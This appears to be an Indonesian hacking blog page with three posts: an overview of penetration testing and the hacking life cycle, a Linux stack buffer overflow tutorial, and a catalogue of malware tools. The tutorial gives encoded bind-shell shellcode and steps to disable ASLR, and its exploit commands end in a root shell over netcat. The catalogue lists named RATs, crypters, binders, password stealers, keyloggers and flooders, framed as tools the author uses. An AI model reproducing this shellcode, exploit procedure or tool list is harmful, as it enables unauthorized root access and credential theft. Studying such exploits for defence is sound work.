Ppentest, Win Security

Pentest

PenTest secara umum merupakan singkatan dari Penetration Test… Artinya (menurut Wikipedia dengan sedikit perubahan) adalah suatu metode untuk mengevaluasi keamanan sistem komputer atau jaringan dengan mensimulasikan serangan yang mungkin terjadi dari pihak yang tidak bertanggung jawab (misalnya Black Hat Hacker ataupun kracker)…

Jadi, secara garis besar, kegiatan PenTest merupakan kegiatan yang memiliki etika yang baik, dengan keadaan yang terbuka dan dilakukan oleh para White Hat Hacker untuk mencoba masuk ke dalam sistem dengan menggunakan berbagai teknik yang mungkin dapat dilakukan / dicoba oleh para Black Hat Hacker maupun kracker… sifatnya lebih ke defensive purpose (mencoba menyerang, kemudian memberitahukan letak celah untuk diperbaiki oleh pemilik sistem yang bersangkutan)…

Di dalam PenTest, pasti akan terdengar lagi istilah PenTester… Dari namanya, pasti sudah dapat ketebak yach ini apa… yach, PenTester ini merupakan pemainnya, pemain dari kegiatan PenTest…PenTester ini biasanya White Hat Hacker… Orang-Orang yang bekerja pada suatu instansi tertentu yang berada di bawah surat perjanjian untuk tidak membocorkan informasi apapun yang ada pada kegiatan PenTest… namun, tidak menutup kemungkinan bahwa pelaku kegiatan PenTest ini bisa juga dari kalangan Black Hat ataupun Grey Hat… terkadang, ada alasan tersendiri dari suatu instansi untuk memakai tenang yang seperti ini (semua kembali kepada kebijakan masing-masing)…

Nah, menurut salah satu penyelenggara sertifikasi yang berhubungan dengan Hacking (EC – Cou***l), pada umumnya, kegiatan Hacking dilakukan melalui life cycle seperti ini:

1. Reconnaissance
–> lebih ke arah Information Gathering… Terbagi menjadi 2, ada aktif, ada pula pasif…
–> Untuk Pasif : pencarian dilakukan dengan tidak berhubungan langsung dengan target, seperti melalui InterNet…
–> Untuk Aktif : pencarian dilakukan langsung dengan berhubungan dengan target… Biasanya dikenal dengan sebutan Social Engineering… Ingat Kevin Mitnick…

2. Scanning
–> lebih ke arah vulnerability scanning… pencarian kelemahan dari sistem yang sedang dites…

3. Gaining Access
–> lebih ke arah mencoba untuk mengambil alih sistem yang sedang dites…

4. Maintaining Access
–> lebih ke arah meninggalkan jejak tersembunyi, sebagai contoh, meletakan backdoor… pastinya, seorang Attacker tidak ingin bersusah payah lagi mengambil alih sistem yang telah berhasil diterobos… Bisa saja keesokan harinya, sang administrator telah menge-patch sistemnya, sehingga Attacker tidak dapat lagi masuk lewat celah yang sama…

5. Clearing Tracks
–> Seorang Attacker pastinya tidak ingin aktivitas Hacking mereka berujung di penjara, jadi, mereka pasti menghapus jejak mereka setelah meletakan pintu masuk lewat belakang dan setelah mereka utak-atik sistem yang berhasil diterobos…

Nah, ini merupakan gambaran Hacking yang biasa dilakukan seorang Attacker… namun, untuk kegiatan PenTest resmi, biasanya hanya sampai Gaining Access… setelah berhasil mencapai tahap 3, maka pekerjaan mereka telah dinyatakan selesai untuk setiap celah yang ditemukan…

Advertisements
Standard
Ppentest, Win Security

[Indonesian] Linux Buffer Overflow Tutorial II – “exploitsdb” Papers

							Linux Buffer Overflow Tutorial
							Edisi : Kedua

Penulis : gunslinger_ <yudha.gunslinger@gmail.com>
Tanggal : Mon Jun 28 21:38:14 WIT 2010

Konten  :
1. Pendahuluan
2. Skenario
3. Fungsi getenv()
4. Exploitasi
5. Kesimpulan
6. Special thanks

-- Pendahuluan
Pada tutorial edisi pertama saya menjelaskan tutorial buffer overflow berbuffer 400 byte.
anda bisa melihat tutorial sebelumnya disini -> http://www.exploit-db.com/papers/14069/
sekarang saya akan menjelaskan "bagaimana cara jika buffer lebih kecil dari ukuran payload kita terutama shellcode ?"
dan saya akan menjelaskan strateginya pada tutorial ini.

-- Skenario
kita bisa lihat source aplikasi sebelumnya mirip pada source aplikasi tutorial ini. 
hanya saja yang membedakan buffernya. kali ini aplikasi berbuffer 10 bytes.

sebelum melanjutkan experimen pada skenario tutorial ini, jangan lupa matikan randomisasi stack terlebih dahulu.

root@bt:~# cat /proc/sys/kernel/randomize_va_space
2
root@bt:~# echo 0 > /proc/sys/kernel/randomize_va_space
root@bt:~# cat /proc/sys/kernel/randomize_va_space
0
root@bt:~#

---------------------bof2.c--------------------------
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
        char buffer[10];
        strcpy(buffer, argv[1]);

        return 0;
}
---------------------EOF-----------------------------

save dengan nama bof2.c ,compile program tersebut . 
perhatian : pada saat mengompile tambahkan opsi -fno-stack-protector dan -mpreferred-stack-boundary=2.

root@bt:~# gcc -g -o bof2 -fno-stack-protector -mpreferred-stack-boundary=2 bof2.c

jadi, bagaimana cara pengexploitasiannya jika buffer sekecil itu ?
kita bisa gunakan "ENVIRONMENT VARIABLE" untuk menyimpan nopsled dan shellcode .
lalu kita ulangi address NOP sampai mengoverwrite register EIP.

langkah pertama, kita perlu menaruh shellcode ke bentuk binary.
saya akan gunakan shellcode binding port 13123 pada tutorial ini, 
dan anda bisa melihat shellcode tersebut di sini : http://inj3ct0r.com/exploits/12608

root@bt:~/bof# echo -ne "\xeb\x11\x5e\x31\xc9\xb1\x65\x80\x6c\x0e\xff\x35\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\x68\x78\xbe\x16\x9f\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5" > shellcode3.bin
root@bt:~/bof# cat shellcode3.bin
ë^1ɱelÿ5éuöëèêÿÿÿfõff67¾3øå¾ûð7hx¾E¾3øå¾è9å¾3øå¾øfþåtµvåtµvåtµdd¨d£¾?¾å@µroot@bt:~/bof#

selanjutnya, kita buat "ENVIRONMENT VARIABLE" berisi : 200 bytes NOPSLED + SHELLCODE

root@bt:~/bof# export PAYLOAD=$(perl -e 'print "\x90" x 200')$(cat shellcode.bin)
root@bt:~/bof# echo $PAYLOAD
ë^1ɱelÿ5éuöëèêÿÿÿfõff67¾3øå¾ûð7hx¾E¾3øå¾è9å¾3øå¾øfþåtµvåtµvåtµdd¨d£¾?¾å@µ
root@bt:~/bof#

ok, kita baru saja selesai menaruh PAYLOAD kita di "ENVIRONMENT VARIABLE".

-- Fungsi getenv()
sekarang kita gunakan getenv() pada bahasa c. 
fungsi getenv() adalah untuk mendapatkan return address variable environment (get environment variable).
jadi kita menggunakan fungsi tersebut untuk mendapatkan return address PAYLOAD kita sebelumnya pada "ENVIRONMENT VARIABLE".
dan source aplikasinya seperti berikut .

---------------------getenv.c--------------------------
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char** argv)
{
        printf("%s terletak pada address %p\n", argv[1], getenv(argv[1]));
        return (0);
}
---------------------EOF-----------------------------

yah sangat simple bukan?, namun sangat berguna.

lalu compile program tersebut
root@bt:~/bof# gcc -o getenv getenv.c
root@bt:~/bof# 

sekarang, kita bisa liat dimana alamat PAYLOAD kita berada.

root@bt:~/bof# ./getenv PAYLOAD
PAYLOAD terletak pada address 0xbffffe1e
root@bt:~/bof#

sudah jelas... kita mengetahui PAYLOAD terletak pada address 0xbffffe1e dengan mudah .
kemudian kita tambahkan, sebut saja 100 bytes karena kita harus menemukan alamat yang terletak dengan alamat pertengahan NOPSLED berada.

root@bt:~/bof# printf "%x\n" $((0xbffffe1e + 100))
bffffe82
root@bt:~/bof#

sudah kita dapatkan 0xbffffe1e + 100 = bffffe82 , lalu kita rubah ke bentuk little endian.
-> 82feffbf
lalu kita ubah ke bentuk shellcode
-> \x82\xfe\xff\xbf

-- Eksploitasi
sekarang saatnya kita run PAYLOAD kita pada aplikasi yang vulnerable buffer overflow tersebut .

root@bt:~/bof# ./bof2 $(perl -e 'print "\x82\xfe\xff\xbf" x 10')
Segmentation fault
root@bt:~/bof#

kita mendapatkan segmentation fault karena kita tidak menggunakan sederetan perulangan address. 
lalu bagaimana ? kita bisa gunakan NOP untuk mendorong (push) address dengan cara menaikan byte per byte.

root@bt:~/bof# ./bof2 $(perl -e 'print "\x90" . "\x82\xfe\xff\xbf" x 10')
Segmentation fault
root@bt:~/bof#

masih mendapatkan segmentation fault, coba kita naikan 1 byte demi byte lagi pada address NOP...

root@bt:~/bof# ./bof2 $(perl -e 'print "\x90" x 2 . "\x82\xfe\xff\xbf" x 10')

OoOoOpsss, program bof tidak exit ? apa yang terjadi ? apa shellcode kita tereksekusi dengan baik ?
sebelumnya kita menggunakan shellcode bindport pada port 13123 , 
coba kita buka tab konsole baru dan sambungkan dengan netcat . 

root@bt:~# nc localhost 13123
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
hostname
bt
echo YUMMY!
YUMMY!

kita sudah berhasil lagi dalam mengexploitasi buffer overflow .

-- Kesimpulan
kesimpulannya, bahwa seberapa kecil buffer pada aplikasi tetap memungkinkan terjadinya buffer overflow . 
untuk mencegah terjadinya buffer overflow adalah dengan cara membatasi seberapa bytes input data yang dimasukan oleh user . 

-- Special thanks : devilzc0de crew and jasakom crew
		  : www.devilzc0de.org / www.devilzc0de.com - www.jasakom.com , indonesianhacker.org, yogyacarderlink.web.id
		  : serverisdown.org, xc0de.or.id, echo.or.id, hacker-newbie.org, tecon-crew.org
		  : And all exploit database...
Standard
./dev/sda /tmp/backtrack, Ppentest, Win Security

Daftar Aplikasi Hacking. [ada beberapa yang gw PAKEEE] mantaf!!

Batch
– DELmE’s Batch Virus Generator v 2.0
– Power Of Batch [Text File]

Binders
– Bl0b B!nder 0.2.0 + USG
– BlackHole Binder
– F.B.I. Binder
– Predator 1.6
– PureBiND3R by d3will
– Schniedelwutz Binder 1.0
– Simple Binder by Stonedinfect
– sp1r1tus Binder 1.0
– Tool-Store Binder 1.0
– Tool-Store Toasty Binder 1.0
– Yet Another Binder 2.0
– Others

Crypters 
– Bifrost Crypter by ArexX 2
– Cryptable Seduction 1.0 by DizzY
– Crypter by Permabatt
– Crypter bY YoDa
– Cryptic 1.5
– Daemon Crypt 2 Public
– Deception 4 by [RaGe] [Favorite :D]
– Destructor Crypter
– EXECrypt 1 M0d by CARDX
– Fuzz Buzz 1.2 by BulletProof
– OSC-Crypter by haZl0oh M0d
– Poison Ivy Crypt M0d by CARDX
– SaW V1 Mod by LEGIONPR
– Skorpien007 Crypter 3.1
– Stonedinfect Crypter 1.0
– Trojka Crypter 1.1 by tr1p0d

Keyloggers
– Ardamax 2.8
– Ardamax 2.41

Nukers dan Fl00ders
– Ass4ult
– B4ttl3 P0ng
– Click v2.2
– Fortune
– ICMP Fl00d
– Panther Mode 1 &amp; 2
– Rocket v1.0
– RPC Nuke

Port &amp; IP Scanners 
– Advanced IP Scanner
– Advanced Port Scanner
– Bitching Threads
– BluePortScan
– LanSpy
– NeoTracePro
– NetScanTools
– ProPort
– Putty v0.6
– SuperScan
– Trojan Hunter 15
– ZenMap – Nmap v5.21 [Win]

R.A.T.s 
– Apocalypse 1.4.4
– Aryan v0.5
– Bandook RAT 1.35
– Bifrost 1.2.1d
– Cerberus 1.03.4
– All Cybergates from v1.01.8 to v1.04.8
– DarkComet 2 RC3
– Lost Door 4.0 Pro
– MeTuS-Delphi-2.8
– Nuclear RAT 2.1.0
– Optix v1.33
– Poison Ivy 2.3.2
– ProRat 1.9 SE
– SharK 3
– Spy-Net v2.6
– SubSeven 2.3
– Turkojan 4 Gold

Sniffers 
– Cain &amp; Abel Self Installer [WinXP]
– WireShark Self-Installer [Win32]

Stealers 
– 1337 SteamACC Stealer Private
– Allround Stealer
– Armageddon Stealer 1.0 by Krusty
– bl0b Recovery 1.0
– Blade Stealer 1.0 PUBLIC
– Codesoft PW Stealer 0.35
– Codesoft PW Stealer 0.50
– Dark Screen Stealer 2
– Dimension Stealer 2 by Gumball
– FileZilla Stealer 1.0 PUBLIC
– FileZilla Stealer by Stonedinfect
– Firefox Password Stealer – Steamcafe
– Fly Stealer 0.1
– Fudsonly Stealer 0.1
– Hackbase Steam Phisher 1.2 BETA
– spam 0.0.1.4
– spam Stealer
– HardCore Soft 0.0.0.1
– ICQ Steal0r
– IStealer 4.0
– IStealer 6.0 Legends
– LabStealer by Xash
– Multi Password Stealer 1.6
– Papst Steale.NET
– Pass Stealer 3.0
– Pesca Stealer 0.2
– pixel Stealer 1.3.0 SC
– pixel Stealer 1.4.0
– ProStealer
– Public Firefox 3 Stealer
– Pure-Steam 1.0 CS
– Pw Stealer by Killer110
– PWStealer 2.0
– Remote Penetration 2.2
– SC LiteStealer 1
– SimpleStealer 2.1
– SPS Stealer
– SStealer by till7
– Steam Stealer 1.0 by ghstoy
– Steam Stealer by till7
– Stupid Stealer 6 mit PHP Logger
– System Stealer 2
– The Simpsons Stealer 0.2
– Tool-Store FileZilla Stealer 1.0
– Ultimate Stealer 1.0
– Universal1337 – The Account Stealer
– Universal1337 2
– Universal1337 3

Vulnerability Scanner and Exploiter 
– Atk ToolKit 4.1 [Src Code Included]
– Metasploit Framework V3.4.0 [Win]
– Nessus [Win32]

Website Exploit And SLQ Injections
– Admin Finder
– CGI-Bug Scanner
– Exploit Scanner
– ServerAttack
– SQL Helper
– Dork List [Text File]
– Dork [Text File]
– Master Google Hack List [Text File]

Others
– Bruteforcers
– Extra! [From VIP Vince Tool pack]
– ProxyBrowser
– Various Tools

Standard